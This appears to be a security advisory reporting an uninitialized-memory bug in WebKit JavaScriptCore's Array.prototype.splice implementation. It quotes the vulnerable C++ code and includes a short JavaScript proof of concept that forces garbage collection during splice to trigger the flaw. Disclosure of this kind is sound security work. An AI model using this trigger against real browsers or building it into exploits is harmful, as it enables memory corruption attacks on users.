WebKit: JSC: uninitialized memory reference in arrayProtoFuncSplice 




Here's a snippet of arrayProtoFuncSplice.

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSplice(ExecState* exec)
{
    ...

            result = JSArray::tryCreateForInitializationPrivate(vm, exec->lexicalGlobalObject()->arrayStructureForIndexingTypeDuringAllocation(ArrayWithUndecided), actualDeleteCount);
            if (UNLIKELY(!result)) {
                throwOutOfMemoryError(exec, scope);
                return encodedJSValue();
            }

            // The result can have an ArrayStorage indexing type if we're having a bad time.
            bool isArrayStorage = hasAnyArrayStorage(result->indexingType());
            bool success = false;
            if (UNLIKELY(isArrayStorage)) {
                static const bool needToFillHolesManually = true;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            } else {
                ASSERT(hasUndecided(result->indexingType()));
                static const bool needToFillHolesManually = false;
                success = copySplicedArrayElements<needToFillHolesManually>(exec, scope, result, thisObj, actualStart, actualDeleteCount);
            }
            if (UNLIKELY(!success)) {
                ASSERT(scope.exception());
                return encodedJSValue();
            }
    ...
}

|result| has uninitalized values. If a GC is triggered before those values get initalized, the garbage collector will refer the uninitialized values.

PoC:
function gc() {
    for (let i = 0; i < 4; i++)
        new ArrayBuffer(0x1000000);
}

Array.prototype.__defineGetter__(1000, () => 0);

for (let i = 0; i < 0x1000; i++)
    new Array(0x10).fill([{}, {}, {}, {}]);

for (let i = 0; i < 0x1000; i++) {
    let x = {length: 0x10};
    x.__defineGetter__(0, () => gc());
    Array.prototype.splice.call(x, 0);
}



This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt